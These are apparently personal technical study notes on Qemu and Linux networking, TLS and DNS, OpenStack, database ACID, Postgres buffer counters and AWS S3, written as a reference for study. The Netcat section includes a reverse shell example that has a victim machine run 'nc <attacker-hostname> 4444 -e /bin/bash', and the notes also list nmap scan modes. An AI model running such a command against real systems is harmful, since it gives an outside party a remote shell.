Qemu

CLI

To run Qemu in terminal we can use -nographic or -display curses.

Resources

• Linux Virtualization Guide by RedHat
• QemuSystem vs QemuSession
• KVM Userspace

Qemu images

Qumu disk images

There two types of images: - raw: faster, static and take the whole allocated space, can be created with dd or fallocate. - qcow: less performant, dynamic copy-on-write and supports snapshoting. Does not play well with Btrfs, COW on COW.

• Overlay storage images are a way to create images from other images.
• Qemu images can be resized or converted to other formats with qemu-img.

GuestFS tools

• We can use guestfish to modify images

qemu-img reference

Qemu networking

VirtualBox VS Qemu Networking

The following are VB Networking modes and how we can implement them in Qemu:

• Not Attached: in qemu this is done by specifying -nic none.
• NAT: this is the default for VB, and it is the way Qemu user networking(SLIRP) is setup.
  • The hypervisor NAT's the traffic from the guest to the outside world.
  • By default the host is accessible from the guest in the address 10.0.2.2.
  • The guest is not accessible from the host by default. Access can be achieved through Port forwarding.
  • -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::2222:22
  • In Qemu's usermode networking, a userspace networking stack is loaded in the qemu process. It is a standlone implementation of ip, tcp, udp, dhcp and tftp ...
• NAT Networks: This create a network similar to a home router, the services in the network can reach each other and internet, but they can be reached by outer hosts.
  • This is done using using Bridges and TAP interfaces.
  • We create a bridge with a static IP address and we plug it into the VMs' nics, then we NAT from it. Finally we run dnsmasq on it to act as a DHCP and DNS server.
• Bridged networking: This is the same as the previous but more flexible.
  • In Qemu the tap device is bridged to a physical network interface so the machines are accessible from the host network.
  • device virtio-net,netdev=network0 -netdev tap,id=network0,ifname=tap0,script=no,downscript=no
• Internal networking: Same as bridged, but the VMs are not accessible from the host and vice versa.
  • This is achieved in Qemu by droping all the traffic to the bridge on the INPUT iptables chain.
  • iptables -I FORWARD -m physdev --physdev-is-bridged -j ACCEPT
  • We either need to assign static IPs or run a DHCP server in one of the VMs.
• Host-only networking: Hybrid between Host-Only and Bridged, since the VMs can't be accessed by the machines in the host's network, but can be accessed by the hist itself.
  • In Qemu the bridge is created and assigned an IP, and no traffic destined to it is dropped. But it is not connected to any physical interface.
• Generic networking: VDE networks.

More on Qemu networking in the Arch wiki. And more on VB Networking on their manual.

Qemu networking CLI options

• Qemu provide two different entities to configure networking for a vm:
  1. The frontend: The nic that the guest sees, it can either be a virtualized network card (e1000) or a paravirtualized device (virtio-net)
  2. The backend: The interface used by Qemu to exchange network packets with the outside world (other vms, the host internet ...).
• There are 3 options to create network entities -nic, -netdev and -net.
• -net can either create a frontend or a backend.
  • All frontends and backends created using -net are connected to a hub (previously named vlan). This way all of them will recieve each other's packets.
  • It can not use vhost acceleration.
  • Qemu -net is deprecated in favor of -device + -netdev or -nic for fast and less verbose network configurations.
• -netdev can only create backends and needs to be coupled with -device.
  • It does not create a shared hub. and every nic is connected to its backend only, which mean packets are not accessible between interfaces.
  • We still can connect to hub using -netdev hubport, however the use of a hub is not required anymore for most usecases.
  • -device can only be used with plugable NICs. Boards with on-board NICs can't be configured with -device.
• -nic can create both frontends and backends at the same time.
  • It is easier to use than -netdev and can configure onboard NICs, and does not place a hub between interfaces.

More information here

More on Qemu networking

• In unpriviliged setups, qemu VMs running using the usermode networking can access each other using sockets.

More on Qemu networking and socket mode

Networking

Notes on how machines talk to each other — from the Linux plumbing up through the wire protocols themselves.

• Linux Networking — namespaces, bridges, routing on the host.
• Protocols — a visual, animation-first tour of the wire protocols (starting with SSL/TLS). Zoomable packet diagrams and step-through handshakes.
• DNS · HTTP

Linux Networking

Network interface Management

1. Wired Interfaces

There are two main commands addr (Layer 3) and link (Layer 2). They have a CRUD interface, can check the help using ip <command> help. ip commands replaced ifconfig commands

• ip l CRUD:

ip link show
ip link show dev <interface-name>
ip link add [link <dev-name>] name <interface-name> type <link-type> # Add a virtual link
ip link del dev <interface-name>

• ip a CRUD:

ip addr show
ip addr show dev <interface-name>
ip addr add dev <interface-name> <ip-address>/<mask>
ip addr del dev <interface-name> <ip-address>/<mask>

2. Wireless Interfaces

iw replaced iwconfig and iwlist. iw dev is used to manage the wireless interfaces, scan for available networks, link to a Network (using SSID) etc ... iw phy manages the hardware device.

iw dev wlan0 link # information about the link 
iw dev wlan0 info # information about the interface
iw dev wlan0 scan
iw dev wlan0 connect <SSID>

3. ARP protocol

ip [-s] neigh is used to display the neighbors list aka arp cache/table (-s to have verbose statistics). ip n offers a CRuS interface to manage the ARP cache

ip n add <ip-addr> lladr <mac-addr> dev <interface-name>
ip n del <ip-addr> dev <interface-name>
ip n show dev <interface-name>
ip n replace <ip-addr> lladr <mac-addr> dev <interface-name> # Replace or ADD a MAC for the IP address

Notes

• Difference between link, device and interface Source: In Linux context they all refer to Kernel's netdev but in networking they can mean different things:
  • Link: the actual circuit, path, and/or cable between ports.
  • Device: either the entire system, or the blob within it that creates the electrical (optical) signal.
  • Interface: the logical middleground between the two, often in the context of the OS (eth0, f0/0, etc.)

TCP/IP

1. Routing

Iproute handles routing the ip route command.

ip route add <network-ip-address>/mask via <router-ip-address> dev <interface-name>
ip route del <network-ip-address>/mask via <router-ip-address> dev <interface-name>
ip route default via <default-gateway-ip>
ip route add prohibit <network-ip-address>/mask # blocks route and sends back an ICMP message
ip route add blackhole <network-ip-address>/mask # blocks route silently

2. TCP ports

Iproute replaces netstat with ss

ss -lntp 
# -l: listening sockets, -n: numerical port numbers, and hostnames -t: tcp, p: show processes using the socket

lsof is very useful too! it shows the open files per user, per process.

lsof -i4 # list all IPv4 network
lsof -p <pid> # list by pid
lsof -u <username> # list by user ^ for negation
lsof -i <protocol>:<port> # list by port
lsof <file-path> # process opening a file

3. TCPDump

TCP dump performs packet monitoring and capture on any Network interface (even Bleutooth, loopback ....)

tcpdump -D # list interfaces available for capture
tcpdump -i <interface-name> -c <count> -w <file-path> # capture packets on an interface and save the results to a file

TCPDump Cheatsheet

4. Port Scanning with Nmap

Nmap is a port scanner. It supports many scanning modes.

nmap -iL <host-file> # scan all hosts in a file
nmap -sn <hostname> # Ping scan, host discovery
nmap -Pn <hostname> # Skips host discovery, Only scan the ports.
nmap -r <hostname> # Scan consecutively, don't randomize
nmap -F <hostname> # Perform a fast scan, only common ports
nmap -p <port1,...,portn> <hostname> # select ports to scan
nmap -sU/-sP <hostname> # scan UDP or TCP (default) ports only
nmap -sS <hostname> # TCP Syn scan (stealthy), quick and un-intrusive. start TCP handshake and never end it.
nmap -sT <hostname> # TCP connect Scan.

5. Interacting with remote hosts

ping send an ICMP packet to a destination IP. Very useful for troubleshooting and discovery.

Ping Cheatsheet

6. Netcat

Netcat is also very useful in this regard, since it writes and reads data across networks.

nc -l <port> # Listen on specific port
nc -u -l <port> # listen on an UDP port
nc -v -z <ip-address> <port> # Report connection status

# Reverse Shell
nc -lvp 4444 # On Attacker machine open a connection
nc <attacker-hostname> 4444 -e /bin/bash # On the victim machine

# File Transfer
nc -lvp 4444 > text.txt
nc <hostname> 4444 < test.txt

# Send GET Request to a webserver
printf "GET / HTTP/1.0\r\n\r\n" | nc <hostname> <port>

Network Configurations

1. RHEL Based systems (Old)

The config files used to live in /etc/sysconfig/network-scripts

2. Debian Based Systems (Old)

All the network interfaces configurations go into /etc/network/interfaces, with an /etc/network/interfaces.d. Interfaces with lines beginning with auto are brought up on system startup.

3. Distro agnostic config files

In addition to the distro related network configuration files, here are the most common remaining ones:

• /etc/hosts: Name to IP Address associations
• /etc/resolv.conf: DNS resolver configuration
• `/etc/sysconfig/network: Global network settings
• /etc/nsswitch.conf: The Name Service Switch config file, used to determine Sources from which to obtain name-service information, and their order.
• /etc/hostname: holds the machine hostname (can be set/shown using hostname or hostnamectl)
• /etc/hosts.deny and /etc/hosts.allow: Allow or block access to certain services from remote clients (Can use ALL to block or allow all). For example to only allow hosts from 10.0.3.* network to connect to our host via SSH we can do the following

# /etc/hosts.deny
sshd : ALL

# /etc/hosts.allow
sshd : 10.0.3.*

4. Network Manager

• Network Manager vs ifcfg-* Options

• nmcli commands

Network Diagnostics and Troubleshooting

1. Traffic analysis with Traceroute and MTR

Traceroute tracks the route taken by packets from source to destination. The traceroutecommand uses UDP packet by default, but can use ICMP ECHO -I or TCP SYN -T for probing. Tracepath is modern alternative with less fancy options.

traceroute -n -q 2 -I www.google.com # Don't resolve hostname, use ICMP and send only 2 probes per host.

MTR on the other hand use ICMP ECHO by default, but this can be changed using -T (TCP) and -u (UDP). ALso MTR is a TUI and record more statistics.

mtr -r -c 3 -f 4 www.google.com # Generate a report instead of RT interface (3 runs, start as 6th hop).
mtr -run4 -c 3 www.google.com # Only non resolved IPv4 addresses, use UDP for probes.
mtr -w -c 3 www.google.com # Generate a wise report instead (non truncated IP addresses/hostnames)

2. Network logs

Debian Based systems use /var/log/syslog for logging system logs, while RHEL based use /var/log/messages.

Another source for logs is Systemd logs, which are stored in a binary format and can be consulted using the journalctl utility. In Addition to all of that we have dmesg which read messages from the Kernel ring buffer.

Notes

• Traceroute and MTR are very useful to troubleshoot and diagnose any network traffic problems.
• Changing between UDP, ICMP and TCP probes can be helpful to avoid routers filtering.
• The kernel ring buffer is a data structure in the Linux kernel that stores log messages generated by the kernel. It is a cyclic buffer that holds the most recent log messages and can be read through the /proc/kmsg file or by using the dmesg command. The kernel ring buffer provides a quick and efficient way for system administrators to diagnose and troubleshoot problems with the Linux system.

Resources

• Deprecated Linux networking commands and their replacements

Protocols

A visual, animation-first tour of the wire protocols that hold the internet together. Every protocol page is built from the same three interactive pieces — so once you know how to read one, you can read them all:

Protocols

SSL / TLS

TLS (Transport Layer Security — SSL is its deprecated predecessor) wraps a plain TCP byte stream in confidentiality, integrity, and authentication. This page is meant to be poked at: zoom into the packet fields, and step through the handshakes.

1 · Where TLS sits

TLS is a thin shim between TCP and your application. The app writes plaintext; TLS turns it into encrypted records; TCP just carries the bytes.

2 · The record — zoom into the bytes

Everything TLS sends is a record: a 5-byte header (type, version, length) followed by a payload. Depending on the content type, that payload is a handshake message, an alert, a change-cipher-spec, or your encrypted application data. Click the boxes marked ⤢ to zoom all the way down into a ClientHello and its extensions.

3 · The handshake (TLS 1.2)

Before any application data flows, the two sides negotiate a version and cipher suite, authenticate the server, and agree on keys. Step through the classic TLS 1.2 handshake below — notice the 🔒 line where traffic flips from plaintext to encrypted (right after ChangeCipherSpec).

4 · TLS 1.2 vs TLS 1.3

TLS 1.3 collapsed the handshake to one round trip and encrypts almost all of it. The server's Certificate — visible on the wire in 1.2 — is now hidden. Toggle between the two and step through to feel the difference.

5 · Reading a cipher suite

A TLS 1.2 cipher suite is a dense string that names every cryptographic choice at once. Hover each segment to decode it.

TLS 1.3 simplified this. Key exchange and authentication are negotiated in separate extensions, so a 1.3 suite only names the AEAD + hash — e.g. TLS_AES_128_GCM_SHA256. All 1.3 suites are AEAD with forward secrecy by design.

6 · Record & alert types

The one-byte Content Type at the front of every record selects one of four sub-protocols:

An Alert record is just two bytes:

7 · Resumption & 0-RTT

Doing a full handshake on every connection is wasteful. If the client has talked to this server before, it holds a pre-shared key (a session ticket) and can skip the certificate and key exchange entirely. TLS 1.3 goes further: with 0-RTT the client sends application data in its very first packet.

The 0-RTT catch: early data has no protection against replay — an attacker can capture that first flight and send it again. So 0-RTT is only safe for idempotent requests (a GET, not a POST /transfer).

DNS

DNS (the Domain Name System) is the internet's phone book: it turns a name a human can remember (www.example.com) into an address a machine can route to (93.184.216.34). This page is the wire protocol — the message on the network and the walk that resolves a name. For the Linux resolver internals (nsswitch, gethostbyname, dig, /etc/resolv.conf), see the DNS internals notes.

1 · One message, five sections

Every DNS query and every DNS response uses the same layout: a fixed 12-byte header, then four variable sections. The header's counts (QDCOUNT, ANCOUNT…) say how many entries each section holds. Zoom into the ⤢ boxes — especially the header Flags, where a single bit is the difference between a query and an answer.

2 · How a name gets resolved

Your stub resolver asks a recursive resolver to "just get me the answer" (that's the RD bit). The resolver then walks the tree from the top, following referrals down: root tells it who runs .com, .com tells it who runs example.com, and the authoritative server finally answers. Step through it — and note the resolver caches the result, so the next lookup skips the whole walk.

dig +trace example.com shows exactly this walk from your own machine — each referral on its own line.

3 · Record types

The TYPE field selects what kind of data a record carries. A handful cover almost everything you'll meet:

4 · Response codes (RCODE)

The 4-bit RCODE in the header flags tells you how the query went:

5 · Transport: UDP, then TCP, then encrypted

DNS was built on UDP port 53 — one small datagram out, one back, no connection setup. But a datagram is limited, so DNS has escape hatches, and modern DNS wraps the whole thing in encryption.

DNS

DNS Resolution process

1. DNS resolver look in its DNS cache
2. DNS resolver breaks iduoad.com to [., com., iduoad.com.]
3. The DNS resolution start at . which is called root domain. Its ip addresses are already know to the DNS resolver. => returns(address of the authoritative nameserver of .)
4. DNS resolver queries the root domain nameserver to find the DNS servers to respond with details on com.. => returns(address of the authoritative nameserver of com.)
5. DNS resolver queries the com. authoritative nameserver to get authoritative nameserver for iduoad.com.
6. DNS resolver queries the authoritative nameserver for iduoad.com and gets the latter's IP address.

A DNS request using dig utility:

# To visualize the entire process we run the following command
dig +trace iduoad.com

A DNS response looks like the following:

iduoad.com.		1799	IN	CNAME	iduoad.netlify.app.
# REQUEST    TTL(for cache)    IN    Query TYPE    Response

DNS and Layer 4 protocols

Multiplexing/Demultiplexing and UDP in linux

• Multiplexing: When a client makes a DNS request, after filling the necessary application payload, it passes the payload to the kernel via sendto system call.
• Demultiplexing: When the kernel on server side receives the packet, it checks the port number and queues the packet to the application buffer of the DNS server process which makes a recvfrom system call and reads the packet.
• UDP is one of the simplest transport layer protocol and it does only multiplexing and demultiplexing. Another common transport layer protocol TCP does a bunch of other things like reliable communication, flow control and congestion control...

TCP/UDP throughput and Kernel buffer size

• If the underlying network is slow, and the UDP layer can't queue packets down to the Network Layer. sendto syscall will hang until the kernel finds some of its buffer freed up. Increasing write memory buffer values using sysctl variables net.core.wmem_max and net.core.wmem_default provides some cushion to the application from the slow network.
• Same thing happens in the server side. If the receiver process is slow (slower than the Kernel), the kernel has to drop packets which can't queue due to the buffer being full. Since UDP doesn’t guarantee reliability these dropped packets can cause data loss unless tracked by the application layer. Increasing sysctl variables rmem_default and rmem_max can provide some cushion to slow applications from fast senders.

DNS Resolution in Linux

1. When we head into a website. The browser first looks if the domain is already stored in its DNS cache.
2. If the domain name does not exist in the browser's DNS cache, the browser calls the gethostbyname syscall.
3. Linux looks in /etc/nsswitch.conf to know the order it will follow when trying to resolve the domain name to the ip address.
4. Let's say the NSS file contains the following entry hosts: files dns.
5. The OS will look in /etc/hosts file first for match of the domain name.
6. If none is found in the hosts file, it will use nss-dns plugin to make a DNS request to the DNS resolvers listed in /etc/resolv.conf (in order from top to bottom).

The DNS resolvers are populated by DHCP or statically configured by an administrator.

nsswitch.conf file

The /etc/nsswitch.conf file is used to configure which services are to be used to determine information such as hostnames, password files, and group files.

An example of the /etc/nsswitch.conf

# Name Service Switch configuration file.
# See nsswitch.conf(5) for details.

passwd: files systemd
group: files [SUCCESS=merge] systemd
shadow: files systemd
gshadow: files systemd

publickey: files

hosts: mymachines resolve [!UNAVAIL=return] files myhostname dns
networks: files

protocols: files
services: files
ethers: files
rpc: files

netgroup: files

The syntax is the following:

database_name: (service_specifications...[STATUS=ACTION])

• database_name: is the database name we will be looking for.
• service_specification: where we'll be looking. Depend on the presence of shared libraries. (e.g files, db, ldap, winbind ...)
• STATUS: a resulting status for service_specification if it occurs ACTION is taken.

In the previous example:

• for passwd, group, shadow and gshadow the system will look in the files first then it will fallback to systemd.
• for group if the lookup in the files succeeds, the processing will continue to systemd and will merge the member list of the already found groups will be merged together.
• for hosts it will use mymachines plugin, then resolve. If resolve is available it will return (stop the lookup) otherwise it will continue to files, myhostname and finally dns.
• for other services it will use files.

NSS Plugins

There are many NSS (Name Service Switch) plugins that are used to resolve names to ips. Here are some examples:

• nss-mymachines: provides hostname resolution for the names of containers running locally that are registered with systemd-machined.service.
• nss-myhostname: provides hostname resolution for the locally configured system hostname as returned by gethostname.
• nss-resolve: resolves hostnames via the systemd-resolved local network name resolution service. It replaces the nss-dns plug-in module that traditionally resolves hostnames via DNS.

  iduoad.com.		1799	IN	CNAME	iduoad.netlify.app.
  # REQUEST    TTL(for cache)    IN    Query TYPE    Response

Linux DNS utilities: dig vs nslookup

• dig uses the OS resolver libraries. nslookup uses is own internal ones.
• Internet Systems Consortium (ISC) has been trying to get people to stop using nslookup.
• nslookup was considered deprecated until BIND 9.9.0a3 release.
• Source in StackOverflow thread #❔

DNS applications

• There many application for DNS for an SRE for example: internal DNS infrastructure, Service Discovery, DNS Load Balancing, Scalling Services (CNAME), CDNs, DNSSEC ...
• Some usecases from linkedin SRE course
• Cool Networking Excercices

HTTP

HTTP/1.0 vs HTTP/1.1 vs HTTP/2.0

• HTTP/1.0 uses a new TCP connection for each request.
• HTTP/1.1 can only have one inflight request in an open TCP connection but connections can be reused for multiple requests one after another.
• HTTP/2.0 can have multiple inflight requests on the same TCP connection.

  # This will exit after this single request.
  telnet iduoad.com 80
  GET / HTTP/1.0
  HOST:iduoad.com
  USER-AGENT: curl

  # We can reuse the same connection for multiple requests.
  telnet iduoad.com 80
  GET / HTTP/1.1
  HOST:iduoad.com
  USER-AGENT: curl

  GET / HTTP/1.1
  HOST:iduoad.com
  USER-AGENT: curl

Cloud

Openstack

Installation

Kolla Ansible

Kolla ansible inventory consists of 5 groups:

1. control
2. compute
3. network
4. storage
5. monitoring

source

Networking

Openstack requires at least 2 network interfaces, in Kolla they are created using:

• network_interface: Not used on its own but most other services default to using it.

• neutron_external_interface: Required by Neutron and used for flat networking and tagged vlans

• Openstack networks are Layer 2.

A network is the central object of the Neutron v2.0 API data model and describes an isolated Layer 2 segment. In a traditional infrastructure, machines are connected to switch ports that are often grouped together into Virtual Local Area Networks (VLANs) identified by unique IDs. Machines in the same network or VLAN can communicate with one another but cannot communicate with other networks in other VLANs without the use of a router.

IP address in openstack

• To create public ip address in openstack (floating ips) we use openstack floating ip create docs
• To assign a new ip address to a machine we use openstack server add floating ip docs

Create a Test VM

openstack server create --flavor 1 --image cirros  --network <network-id>  test_vm

Networking

Creation

The Neutron workflow (when booting a VM instance)

1. The user creates a network.
2. The user creates a subnet and associates it with the network.
3. The user boots a virtual machine instance and specifies the network.
4. Nova interfaces with Neutron to create a port on the network.
5. Neutron assigns a MAC address and IP address to the newly created port using attributes defined by the subnet.
6. Nova builds the instance's libvirt XML file, which contains local network bridge and MAC address information, and starts the instance.
7. The instance sends a DHCP request during boot, at which point, the DHCP server responds with the IP address corresponding to the MAC address of the instance

Deletion

1. The user destroys the virtual machine instance.
2. Nova interfaces with Neutron to destroy the ports associated with the instances.
3. Nova deletes local instance data.
4. The allocated IP and MAC addresses are returned to the pool.

Console

There are three remote console access methods commonly used with OpenStack:

• novnc: An in-browser VNC client implemented using HTML5 Canvas and WebSockets
• spice: A complete in-browser client solution for interaction with virtualized instances
• xvpvnc: A Java client offering console access to an instance

Resources

• Ansible performance tunning

Databases

ACID

Atomicity

Definition

A transaction is treated as a single "atom." Either every statement in the transaction succeeds, or the entire thing is rolled back, leaving the database unchanged.

Implementation

• Mysql: Uses the Undo Log to revert changes if a transaction fails. If you use the InnoDB engine (the default), you get this protection.
• Postgres: Uses a combination of WAL and a system called MVCC (Multiversion Concurrency Control). It essentially tracks the state of data "versions" to ensure it can discard uncommitted changes instantly.

Consistency

definition

Consistency ensures that a transaction takes the database from one valid state to another, maintaining all predefined rules (constraints, cascades, triggers).

Implementation

There are two levels of consistency:

1. Data consistency
   • You have multiple views of your data (e.g foreign keys), will change in 1 view propagate to the other views.
   • This is achieved by
     • The user (database designer)
     • Referential integrity (foreign keys, cascade ...)
     • Atomicity and Isolation.
2. Read consistency
   • If TX1 updates a field, TX2 should read the new value.
   • SQL databases can guarantee read consistency in case of 1 Server
   • Horizontal scaling or Caching lead to read inconsistency => Eventual consistency.

Isolation

definition

This ensures that concurrent transactions (multiple people using the database at once) don't interfere with each other. It makes it appear as if transactions are running sequentially.

There are four main isolation levels you should know:

• Read Uncommitted: Can see "dirty" (uncommitted) data. -> Dirty reads
• Read Committed: (Postgres Default) You only see data once it's saved. -> Non-Repeatable Reads
• Repeatable Read: (MySQL Default) If you read a row twice in one transaction, the data won't change even if someone else updated it. -> Phantom reads
• Serializable: The strictest level; transactions behave as if they are the only ones running. -> Solves isolation but is very expensive.

There is a 5th non standard level called Snapshot: Like Repeatable Reads but it takes only TX committed before the current TX start.

Implementation

Both Postgres and MySQL use MVCC and Locking to implement isolation. The difference is that Postgres stores old versions of the rows in the tables and MySQL stores the old versions of the rows in the UNDO logs and includes a hidden DB_ROLL_PTR in each row that links it to its previous version in the undo log, creating a version chain.

MySQL calls Snapshots Read Views. New Read Views are created at each SELECT statement in READ COMMITTED mode and on the first SELECT on REPEATABLE READ.

MySQL then prevents Phantoms in REPEATABLE READ using Gap Locks and Next-Key Locks.

• Record Lock: Locks the actual index record.
• Gap Lock: Locks the "gap" between index records.
• Next-Key Lock: A combination of a record lock and a gap lock on the space before that record.

Durability

definition

Once a transaction is committed, it remains committed—even in the event of a system crash or power failure.

Implementation

Both databases use a Write-Ahead Log (WAL).

• MySQL: Calls this the Redo Log.
• Postgres: Calls this the WAL.

The database writes the intent of the change to a log file on the disk before updating the actual data files. If the system crashes, it simply replays the log to recover the data.

Postgres - ACID

Atomicity

PostgreSQL — Buffer I/O explained

The eight buffer/block fields in PostgreSQLFlexQueryStoreRuntime are counters that describe exactly how a query interacted with memory and disk. To read them correctly you need to understand the three separate buffer systems Postgres uses — and how a page travels through each one.

What is a "block"?

Postgres stores all table and index data in 8 KB pages, also called blocks. A page is the smallest unit of I/O: even if you need one row, Postgres loads the entire 8 KB page that contains it. Every counter below counts in pages, not rows and not bytes.

Table / index file on disk
┌──────────┬──────────┬──────────┬──────────┐
│ Block 0  │ Block 1  │ Block 2  │ Block 3  │  …  each block = 8 KB
│ rows 1-5 │ rows 6-9 │ row  10  │  (free)  │
└──────────┴──────────┴──────────┴──────────┘

The three buffer systems

Postgres has three separate pools, each tracked independently by Query Store.

┌────────────────────────────────────────────────────────────────────┐
│                        Backend process                             │
│                                                                    │
│  work_mem (per-sort / per-hash)                                    │
│  ┌──────────────────────────────────┐                             │
│  │  in-memory sort / hash table     │  overflow → TEMP FILES      │
│  └──────────────────────────────────┘  (temp_blks_read/written)   │
│                                                                    │
│  temp_buffers (per-session, default 8 MB)                         │
│  ┌──────────────────────────────────┐                             │
│  │  local buffer pool               │  ← TEMP TABLE pages         │
│  └──────────────────────────────────┘  (local_blks_*)             │
│                                                                    │
└──────────────────────────┬─────────────────────────────────────────┘
                           │ reads / writes
                           ▼
┌────────────────────────────────────────────────────────────────────┐
│  shared_buffers  (shared across ALL backends, e.g. 25 % of RAM)   │
│                                                                    │
│   page A │ page B │ page C │ … │ page N                           │
│   clean  │ dirty  │ clean  │   │ dirty                            │
│                                                                    │
└──────────────────────────┬─────────────────────────────────────────┘
                           │ misses / evictions / checkpoints
                           ▼
                      OS page cache
                           │
                           ▼
                    Data files on disk

Shared blocks — Shared_blks_*

This is the main buffer pool. Every regular table and index page passes through here. The buffer manager sits between every backend and the disk; it manages a fixed pool of 8 KB slots in shared memory.

The life of a page

Backend needs page P
        │
        ▼
┌───────────────────┐   found    ┌──────────────────┐
│  Buffer manager   │ ─────────▶ │  Return page P   │  Shared_blks_hit + 1
│  checks pool      │            └──────────────────┘
└───────────────────┘
        │ not found (miss)
        ▼
  Shared_blks_read + 1
        │
        ▼
┌───────────────────┐
│  Find a free slot │
│  (or evict one)   │◀─── if evicted slot is dirty:
└───────────────────┘     write to disk → Shared_blks_written + 1
        │
        ▼
  Read page P from OS/disk into slot
        │
        ▼
  Backend uses page P
        │
        ▼  (if the query modifies the page)
  Shared_blks_dirtied + 1   (page is now dirty in the pool)
        │
        (later, asynchronously)
        ▼
  Checkpointer / bgwriter writes page to disk

The four counters

Shared_blks_hit_d — page was already in shared_buffers when requested. No disk I/O. Free, fast.

Shared_blks_read_d — page was not in shared_buffers; it had to be loaded from the OS page cache or from actual disk. This is not necessarily a physical disk read — the OS may have it cached — but it is always more expensive than a buffer hit.

Shared_blks_dirtied_d — the query modified this many pages in the pool. They are now "dirty" — their in-memory content differs from what's on disk. No disk I/O happens yet; the page just gets a dirty flag. The checkpointer and background writer (bgwriter) will flush it to disk asynchronously.

Shared_blks_written_d — the backend itself had to write this many dirty pages to disk, synchronously, during the query. This happens only when the buffer manager needs to evict a dirty slot to make room for a new page, and the bgwriter hasn't cleaned it yet. It adds disk-write latency directly to the query's execution time. In a healthy system this should be zero or near zero — non-zero means shared_buffers is under pressure or the bgwriter is not keeping up.

Key ratios and what they tell you

Cache hit ratio = Shared_blks_hit_d / (Shared_blks_hit_d + Shared_blks_read_d)

Shared_blks_dirtied_d vs Shared_blks_written_d

Dirtied >> Written → normal. The bgwriter is handling flushes. Written > 0 → backend had to do synchronous eviction writes; investigate shared_buffers size and bgwriter_lru_maxpages.

Example — SELECT with a cold table

Calls_d               = 1
Shared_blks_hit_d     = 12      ← catalog / index root pages already in cache
Shared_blks_read_d    = 4 820   ← bulk of table had to be loaded from disk
Shared_blks_dirtied_d = 0       ← read-only, nothing modified
Shared_blks_written_d = 0       ← no eviction pressure

→ This is a sequential scan on a table that doesn't fit in shared_buffers. The 4 820 reads show up as Blk_read_time_d if track_io_timing is on.

Example — UPDATE that hits cache pressure

Calls_d               = 1
Shared_blks_hit_d     = 300
Shared_blks_read_d    = 50
Shared_blks_dirtied_d = 50      ← modified 50 pages in the pool
Shared_blks_written_d = 8       ← had to synchronously flush 8 dirty pages

→ shared_buffers is full of dirty pages; the bgwriter cannot keep up. The 8 synchronous writes add disk-write latency to this query's execution time.

Local blocks — Local_blks_*

Local blocks are the buffer pool for temporary tables (CREATE TEMP TABLE). Each session maintains its own local pool, sized by temp_buffers (default 8 MB). Local pages are never shared with other sessions.

The semantics of the four counters (hit, read, dirtied, written) are identical to the shared block counters — but scoped to that session's temp table data only.

Session A                          Session B
┌────────────────────┐             ┌────────────────────┐
│ local buffer pool  │             │ local buffer pool  │
│  (temp_buffers)    │             │  (temp_buffers)    │
│                    │             │                    │
│  TEMP TABLE rows   │             │  TEMP TABLE rows   │
└────────────────────┘             └────────────────────┘
          ↕                                  ↕
    Temp table files                   Temp table files
    (session-private)                  (session-private)

Non-zero Local_blks_* simply means the query touched a temporary table. High Local_blks_read_d means the temp table exceeded temp_buffers and started spilling to disk.

Temp blocks — Temp_blks_*

Despite the name, these have nothing to do with temporary tables. Temp blocks are spill files created when an in-query operation exhausts work_mem.

Operations that can spill:

• ORDER BY / DISTINCT sorts
• Hash joins
• Hash aggregates (GROUP BY, window functions)
• Bitmap index scans (bitmap heap)

When work_mem is exceeded, Postgres writes sorted runs or hash buckets to disk in the pgsql_tmp/ directory, then reads them back to merge. There is no in-memory cache for these files — every write is Temp_blks_written_d, every read-back is Temp_blks_read_d. There is no "hit" counter.

ORDER BY on 10 M rows, work_mem = 4 MB

Pass 1 — fill work_mem:
  sort 4 MB chunk → write run 1 to disk   Temp_blks_written + N₁
  sort 4 MB chunk → write run 2 to disk   Temp_blks_written + N₂
  …

Pass 2 — merge:
  read run 1 from disk                    Temp_blks_read + N₁
  read run 2 from disk                    Temp_blks_read + N₂
  merge → return sorted result

Any non-zero value here is a spill. It does not mean the system is broken — but it does mean the query is slower than it needs to be.

Example — sort spill

Calls_d              = 1
Shared_blks_hit_d    = 24 100   ← table was cached
Shared_blks_read_d   = 0
Temp_blks_written_d  = 6 400    ← wrote 6 400 × 8 KB = 50 MB of sort runs
Temp_blks_read_d     = 6 400    ← read them back for the merge

→ Increasing work_mem from 4 MB to 64 MB would likely eliminate the spill and remove the Temp_blks_* cost entirely.

Block timing — Blk_read_time_d / Blk_write_time_d

These are the total milliseconds the query spent blocked waiting for block I/O — reads and writes respectively, across all block types. They require the server parameter track_io_timing = on (off by default because it calls clock_gettime() on every I/O, adding a small overhead).

Without track_io_timing:
  Shared_blks_read_d = 5 000    ← 5 000 blocks were read
  Blk_read_time_d    = 0        ← but we don't know how long it took

With track_io_timing:
  Shared_blks_read_d = 5 000
  Blk_read_time_d    = 12 340   ← those reads took 12.3 seconds total

Blk_read_time_d tells you whether the misses (Shared_blks_read_d) were fast (OS page cache) or slow (physical disk). Five thousand misses in 50 ms means the OS had them cached. Five thousand misses in 15 000 ms means real disk I/O — the working set does not fit in OS cache either.

Blk_write_time_d covers the synchronous backend writes counted in Shared_blks_written_d. A high value here is a direct contribution to query latency from eviction pressure.

Reading all eight numbers together

AWS

AWS S3

General Overview

• Object storage service for scalable, durable data storage.
• 99.999999999% (11 9's) durability; 99.99% availability for most classes.
• Unlimited storage; pay for usage (storage, requests, data transfer).
• Global via multi-Region access; integrates with AWS services (EC2, Lambda, etc.).
• Data Model:
  • Bucket – top-level container (unique name, global namespace)
  • Object – file + metadata
  • Key – full path to object within a bucket
• There is no concept of directory in General-purpose S3.
• Objects size is limited at 5GB objects with more than 5GB, must use "multi-part" upload.
• Objects can have key-value pairs of Metadata and can have key-value tags (useful for security/lifecycles)

Storage Classes

* : Retrieval is priced per GB.

Glacier Retrieval Options

Versioning

Lifecycle rule actions

Transition rule actions

• (R1) Transition current versions of objects between storage classes.
  • Storage class transitions (Target storage class).
  • Days after object creation.
• (R2) Transition noncurrent versions of objects between storage classes.
  • Storage class transitions.
  • Days after objects become noncurrent.
  • Number of newer versions to retain.

Deletion/Expiration rule actions

• (R3) Expire current versions of objects.
  • Days after object creation
• (R4) Permanently delete noncurrent versions of objects.
  • Days after objects become noncurrent
  • Number of newer versions to retain - Optional
• (R5) Delete expired object delete markers or incomplete multipart uploads.
  • Delete expired object delete markers
  • Delete incomplete multipart uploads

Object deletion in a versioned bucket.

• Delete an object with Show versions off -> Soft Delete -> Delete Marker created and is the current version shadowing all other versions.
